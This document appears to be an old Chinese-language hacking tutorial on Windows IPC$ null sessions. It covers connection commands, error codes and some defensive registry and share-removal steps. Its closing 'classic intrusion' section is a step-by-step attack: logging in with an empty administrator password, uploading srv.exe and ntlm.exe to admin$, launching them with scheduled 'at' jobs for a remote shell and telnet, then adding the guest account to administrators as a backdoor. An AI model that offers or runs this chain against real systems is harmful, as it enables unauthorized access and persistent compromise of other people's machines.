Ipc$攻击及介绍

IPC$(Internet Process Connection)是共享"命名管道"的资源，它是为了让进程间通信而开放的命名管道，可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。

一、介绍 IPC$:

1.IPC 连接是 Windows NT 及以上系统中特有的远程网络登陆功能，其功能相当于 Unix 中的 Telnet,由于 IPC$功能需要用到 Windows NT 中的很多 DLL 函数，所以不能在 Windows 9.x 中运行。也就是说只有 nt/2000/xp 才可以建立 ipc$连接,98/me 是不能建立 ipc$连接的

2.即使是空连接也不是 100%都能建立成功,如果对方关闭了 ipc$共享,你仍然无法建立连接

3.并不是说建立了 ipc$连接就可以查看对方的用户列表,因为管理员可以禁止导出用户列表

二、ipc$的功能

利用 IPC$,连接者甚至可以与目标主机建立一个空的连接而无需用户名与密码(当然,对方机器必须开了 ipc$共享,否则你是连接不上的)，而利用这个空的连接，连接者还可以得到目标主机上的用户列表(不过负责的管理员会禁止导出用户列表的)。ipc$并不是真正意义上的漏洞,它是为了方便管理员的远程管理而开放的远程网络登陆功能,而且还打开了默认共享,即所有的逻辑盘(c$,d$,e$……)和系统目录 winnt 或 windows(admin$)。

三、建立 ipc$连接在 hack 攻击中的作用

就像上面所说的,即使你建立了一个空的连接,你也可以获得不少的信息(而这些信息往往是入侵中必不可少的),访问部分共享,如果你能够以某一个具有一定权限的用户身份登陆的话,那么你就会得到相应的权限,显然,如果你以管理员身份登陆,你就可以做一切你想做的!(基本上可以总结为获取目标信息、管理目标进程和服务,上传木马并运行,如果是 2000server, 还可以考虑开启终端服务方便控制.怎么样?够厉害吧!)

不过你也不要高兴的太早,因为管理员的密码不是那么好搞到的,虽然会有一些傻傻的管理员用空口令或者弱智密码,但这毕竟是少数,而且现在不比从前了,随着人们安全意识的提高,管理员们也愈加小心了,得到管理员密码也越来越难。

因此今后你最大的可能就是以极小的权限甚至是没有权限进行连接,你会慢慢的发现 ipc$连接并不是万能的,甚至在主机不开启 ipc$共享时,你根本就无法连接.

所以我认为,你不要把 ipc$入侵当作终极武器,不要认为它战无不胜,它就像是足球场上射门前的传球,很少会有致命一击的效果,但却是不可缺少的,我觉得这才是 ipc$连接在 hack 入侵中的意义所在。

四、ipc$与空连接,139,445 端口,默认共享的关系

(1)ipc$与空连接:

不需要用户名与密码的 ipc$连接即为空连接,一旦你以某个用户或管理员的身份登陆(即以特定的用户名和密码进行 ipc$连接),自然就不能叫做空连接了.

许多人可能要问了,既然可以空连接,那我以后就空连接好了,为什么还要费九牛二虎之力去扫描弱口令,呵呵,原因前面提到过,当你以空连接登陆时,你没有

任何权限(很郁闷吧),而你以用户或管理员的身份登陆时,你就会有相应的权限(有权限谁不想呀,所以还是老老实实扫吧,不要偷懒哟).

（2)ipc$与 139,445 端口:

ipc$连接可以实现远程登陆及对默认共享的访问;而 139 端口的开启表示 netbios 协议的应用,我们可以通过 139,445(win2000)端口实现对共享文件/打印机的访问,因此一般来讲,ipc$连接是需要 139 或 445 端口来支持的.

（3)ipc$与默认共享

默认共享是为了方便管理员远程管理而默认开启的共享(你当然可以关闭它),即所有的逻辑盘(c$,d$,e$……)和系统目录 winnt 或 windows(admin$),我们通过 ipc$连接可以实现对这些默认共享的访问

五、ipc$连接失败的原因

以下 5 个原因是比较常见的:

1.你的系统不是 NT 或以上操作系统;

2.对方没有打开 ipc$默认共享

3.对方未开启 139 或 445 端口(惑被防火墙屏蔽)

4.你的命令输入有误(比如缺少了空格等)

5.用户名或密码错误(空连接当然无所谓了)

另外,你也可以根据返回的错误号分析原因:

错误号 5，拒绝访问 ： 很可能你使用的用户不是管理员权限的，先提升权限;

错误号 51，Windows 无法找到网络路径 ：网络有问题;

错误号 53，找不到网络路径 ： ip 地址错误;目标未开机;目标 lanmanserver 服务未启动；目标有防火墙（端口过滤）；

错误号 67，找不到网络名 ： 你的 lanmanworkstation 服务未启动；目标删除了 ipc$；

错误号 1219，提供的凭据与已存在的凭据集冲突 ： 你已经和对方建立了一个 ipc$，请删除再连。

错误号 1326，未知的用户名或错误密码 ： 原因很明显了；

错误号 1792，试图登录，但是网络登录服务没有启动 ： 目标 NetLogon 服务未启动。（连接域控会出现此情况）

错误号 2242，此用户的密码已经过期 ： 目标有帐号策略，强制定期要求更改密码。

关于 ipc$连不上的问题比较复杂，除了以上的原因,还会有其他一些不确定因素,在此本人无法详细而确定的说明,就靠大家自己体会和试验了。

六、如何打开目标的 IPC$

首先你需要获得一个不依赖于 ipc$的 shell，比如 sql 的 cmd 扩展、telnet、木马,当然,这 shell 必须是 admin 权限的,然后你可以使用 shell 执行命令 net share ipc$ 来开放目标的 ipc$。从上面可以知道，ipc$能否使用还有很多条件。请确认相关服务都已运行，没有就启动它（不知道怎么做的请看 net 命令的用法）,还是不行的话（比如有防火墙，杀不了）建议放弃。

七、如何防范 ipc$入侵

1 禁止空连接进行枚举(此操作并不能阻止空连接的建立,引自《解剖 win2000 下的空会话》)

首先运行 regedit，找到如下组建

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把

RestrictAnonymous = DWORD 的键值改为：00000001(如果设置为 2 的话,有一些问

题会发生,比如一些 WIN 的服务出现问题等等)

2 禁止默认共享

1）察看本地共享资源

运行-cmd-输入 net share

2）删除共享(每次输入一个)

net share ipc$ /delete

net share admin$ /delete

net share c$ /delete

net share d$ /delete（如果有 e,f,……可以继续删除）

3）停止 server 服务

net stop server /y （重新启动后 server 服务会重新开启）

运行-regedit

server 版:找到如下主键 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把 AutoShareServer（DWORD）的键值改为:00000000。

pro 版:找到如下主键 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把 AutoShareWks（DWORD）的键值改为:00000000。

如果上面所说的主键不存在，就新建(右击-新建-双字节值）一个主健再改键值。

3 永久关闭 ipc$和默认共享依赖的服务:lanmanserver 即 server 服务

控制面板-管理工具-服务-找到 server 服务（右击）-属性-常规-启动类型-已禁用

4 安装防火墙(选中相关设置)，或者端口过滤(滤掉 139,445 等),或者用新版本的优化大师

5 设置复杂密码，防止通过 ipc$穷举密码

八、ipc$相关命令

1)建立空连接:

```
net use \\IP\ipc$ "" /user:"" (一定要注意:这一行命令中包含了 3 个空格)
```

2)建立非空连接:

```
net use \\IP\ipc$ "用户名" /user:"密码" (同样有 3 个空格)
```

3)映射默认共享:

```
net use z: \\IP\c$ "密码" /user:"用户名" (即可将对方的 c 盘映射为自己的 z 盘，其他盘类推)
```

如果已经和目标建立了 ipc$，则可以直接用 IP+盘符+$访问,具体命令

```
net use z: \\IP\c$
```

4)删除一个 ipc$连接

```
net use \\IP\ipc$ /del
```

5)删除共享映射

```
net use c: /del 删除映射的 c 盘，其他盘类推

net use * /del 删除全部,会有提示要求按 y 确认
```

九、经典入侵模式

1. C:\>net use \\127.0.0.1\IPC$ "" /user:"admintitrators"

这是用《流光》扫到的用户名是 administrators，密码为"空"的 IP 地址(空口令?哇,运气好到家了)，如果是打算攻击的话，就可以用这样的命令来与 127.0.0.1 建立一个连接，因为密码为"空"，所以第一个引号处就不用输入，后面一个双引号里的是用户名，输入 administrators，命令即可成功完成。

2. C:\>copy srv.exe \\127.0.0.1\admin$

先复制 srv.exe 上去，在流光的 Tools 目录下就有（这里的$是指 admin 用户的 c:\winnt\system32\，大家还可以使用 c$、d$，意思是 C 盘与 D 盘，这看你要复制到什么地方去了）。

3. C:\>net time \\127.0.0.1

查查时间，发现 127.0.0.1 的当前时间是 2002/3/19 上午 11:00，命令成功完成。

4. C:\>at \\127.0.0.1 11:05 srv.exe

用 at 命令启动 srv.exe 吧（这里设置的时间要比主机时间快，不然你怎么启动啊，呵呵！）

5. C:\>net time \\127.0.0.1

再查查到时间没有？如果 127.0.0.1 的当前时间是 2002/3/19 上午 11:05，那就准备开始下面的命令。

6. C:\>telnet 127.0.0.1 99

这里会用到 Telnet 命令吧，注意端口是 99。Telnet 默认的是 23 端口，但是我们使用的是 SRV 在对方计算机中为我们建立一个 99 端口的 Shell。

虽然我们可以 Telnet 上去了，但是 SRV 是一次性的，下次登录还要再激活！所以我们打算建立一个 Telnet 服务！这就要用到 ntlm 了

7.C:\>copy ntlm.exe \\127.0.0.1\admin$

用 Copy 命令把 ntlm.exe 上传到主机上(ntlm.exe 也是在《流光》的 Tools 目录中)。

8. C:\WINNT\system32>ntlm

输入 ntlm 启动（这里的 C:\WINNT\system32>指的是对方计算机，运行 ntlm 其实是让这个程序在对方计算机上运行）。当出现"DONE"的时候，就说明已经启动正常。然后使用"net start telnet"来开启 Telnet 服务！

9. Telnet 127.0.0.1，接着输入用户名与密码就进入对方了，操作就像在 DOS 上操作一样简单！(然后你想做什么?想做什么就做什么吧,哈哈)

为了以防万一,我们再把 guest 激活加到管理组

10. C:\>net user guest /active:yes

将对方的 Guest 用户激活

11. C:\>net user guest 1234

将 Guest 的密码改为 1234,或者你要设定的密码

12. C:\>net localgroup administrators guest /add

将 Guest 变为 Administrator^_^(如果管理员密码更改，guest 帐号没改变的话，下次我们可以用 guest 再次访问这台计算机)